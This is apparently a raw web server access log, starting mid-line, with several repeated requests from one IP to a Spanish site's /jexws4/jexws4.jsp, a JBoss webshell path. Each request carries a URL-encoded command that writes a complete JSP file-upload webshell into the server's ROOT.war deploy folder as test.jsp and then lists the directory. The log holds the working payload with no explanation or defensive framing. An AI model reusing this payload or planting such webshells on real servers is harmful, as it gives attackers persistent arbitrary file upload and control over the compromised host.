%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S833735068 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S833687720 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S833627104 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
